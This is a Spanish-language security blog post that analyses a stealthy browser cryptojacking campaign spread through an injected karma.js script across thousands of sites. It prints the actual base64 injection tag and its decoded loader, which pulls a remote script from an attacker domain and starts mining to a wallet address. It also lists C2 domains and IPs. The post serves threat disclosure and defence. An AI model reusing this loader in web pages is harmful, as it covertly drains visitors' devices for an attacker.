El auge y la caída (y el regreso) de la minería en el navegador
Corría el año 2017 cuando Coinhive irrumpió en escena, incrustando un minero de Monero directamente en sitios web. Los usuarios minaban criptomonedas sin saberlo mientras navegaban, convirtiendo sus dispositivos en silenciosas máquinas de generar beneficios para los propietarios de los sitios.
Por un breve momento, pareció una situación en la que todos ganaban: los sitios web obtenían ingresos sin anuncios y los usuarios evitaban los molestos pop-ups. Pero cuando la tasa de hash de Coinhive se disparó hasta el 12% de la potencia total de la red de Monero, la ralentización de los dispositivos y el agotamiento de la batería desataron la indignación pública.
En 2019, navegadores como Chrome y Firefox bloquearon el CryptoJacking en el navegador, y Coinhive cerró.
El cryptojacking, al parecer, había muerto.
Pero en ciberseguridad, la muerte rara vez es definitiva…
Una misteriosa caída (y un fallo en la matrix)
Aquí en cside llevábamos años rastreando campañas de cryptojacking. A finales de 2024, nuestros paneles mostraban un descenso pronunciado en la actividad. Las cargas útiles de minería se bloqueaban con mayor eficacia y los atacantes parecían haberse trasladado a pastos más verdes, como el ransomware o el robo de credenciales.
Entonces, un martes de rutina, nuestro rastreador marcó algo extraño: un archivo JavaScript de terceros cargado desde https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.
La propia URL era una señal de alerta: un parámetro aleatorio, una consulta sin sentido nosaj=faster.mo. Pero lo que realmente disparó las alarmas fue el comportamiento del archivo:
- Sin peticiones de red (a primera vista).
- Sin picos de CPU evidentes en pruebas en entorno aislado.
- Y aun así, nuestra IA lo marcó como malicioso.
Esto no era el cryptojacking ruidoso y devorador de recursos de 2018. Era… silencioso.
Inyección en el sitio web:
<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>El Base64 se decodifica como:
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)){ return; }
js = d.createElement(s); js.id = id;
js.onload = function(){
EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
};
js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));
Trustisimportant[.]fun redirige al usuario a yobox[.]store, desde donde se descarga el JS malicioso.
Depurando el fantasma: un tutorial de JS 101
Cargamos el script en un entorno controlado para diseccionarlo. Así fue como lo abordamos:
Paso 1: Construir un entorno de depuración seguro
Envolvimos el JS en una página HTML sencilla con una Política de Seguridad de Contenido (CSP) para permitir la depuración sin activar los bloqueos del navegador:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
<title>Debugging Karma</title>
</head>
<body>
<script src="karma.js"></script> <!-- El archivo malicioso -->
</body>
</html>
La directiva unsafe-eval fue fundamental porque el script utilizaba ofuscación similar a eval para ocultar su lógica.
Paso 2: Insertar trampas de depuración
Añadimos sentencias debugger; en puntos clave para pausar la ejecución en Chrome DevTools. Por ejemplo:
function _0x6BE7() { // Una función de configuración de WebSocket
debugger; // <-- La ejecución se pausa aquí
if (ws != null) { ws.close(); }
// ... resto del código
}Paso 3: Decodificar la ofuscación
El script era un laberinto de variables renombradas (p. ej., _0x6AC1, _0x6B23) y cadenas codificadas. Usando la pestaña Sources de DevTools:
- 1.Establecimos puntos de interrupción para recorrer la ejecución paso a paso.
- 2.Observamos variables para mapear sus propósitos reales (p. ej.,
_0x6B85comprobaba si el dispositivo era móvil). - 3.Rastreamos la actividad de red a través de la pestaña Network, lo que reveló conexiones WebSocket a wss://lokilokitwo[.]de:10006.
El hallazgo clave: un minero silencioso
El script no minaba criptomonedas directamente. En su lugar:
- Comprobaba la compatibilidad con WebAssembly (para evaluar la potencia del dispositivo).
- Creaba Web Workers en segundo plano (array
worcy) para ejecutar tareas de minería sin bloquear el hilo principal. - Usaba WebSockets para recibir comandos del servidor C2, ajustando la intensidad de la minería según las capacidades del dispositivo.
Era un minero sigiloso, diseñado para evitar la detección manteniéndose por debajo del radar tanto de los usuarios como de las herramientas de seguridad.
El panorama general: más de 3.500 sitios infectados
Una investigación más profunda descubrió una campaña de gran alcance:
- Más de 3.500 sitios web cargaban el malicioso karma[.]js.
- Infraestructura reutilizada: el dominio trustisimportant[.]fun estaba vinculado tanto a campañas de cryptojacking como de Magecart (skimming de tarjetas de crédito). Los atacantes diversificaban sus cargas útiles.
- IPs clave: 89.58.14.251 y 104.21.80.1 actuaban como servidores de mando y control (C2).
El lema de la campaña: "Mantente bajo el radar, mina despacio." Al limitar el uso de CPU y ocultar el tráfico en flujos WebSocket, evitaba los indicios característicos del cryptojacking tradicional.
CryptoJacking 101: ¿Qué es el CryptoJacking y cómo funciona hoy?
El cryptojacking moderno ha evolucionado hacia un ataque silencioso y de múltiples etapas:
- Scripts dropper: archivos JS maliciosos (como karma[.]js) se inyectan en sitios web.
- Comprobaciones del entorno: el script verifica la compatibilidad con WebAssembly, el tipo de dispositivo (móvil o escritorio) y las características del navegador para optimizar la minería.
- Creación de workers: se crean Web Workers para ejecutar tareas de minería en segundo plano, evitando señales de alerta de rendimiento.
- Comunicación con el C2: peticiones WebSocket o HTTPS obtienen tareas de minería y envían los resultados a los servidores C2.
El objetivo no es agotar los dispositivos de inmediato, sino persistentemente drenar recursos a lo largo del tiempo, como un vampiro digital.
Conclusión: el juego del gato y el ratón continúa
El cryptojacking no ha muerto, simplemente se ha vuelto más inteligente. Los atacantes ahora priorizan el sigilo sobre el robo de recursos por la fuerza bruta, usando ofuscación, WebSockets y reutilización de infraestructura para permanecer ocultos.
Esta tendencia en los ataques del lado del cliente está en continuo aumento.
La necesidad de una prevención adecuada del CryptoJacking es una realidad.
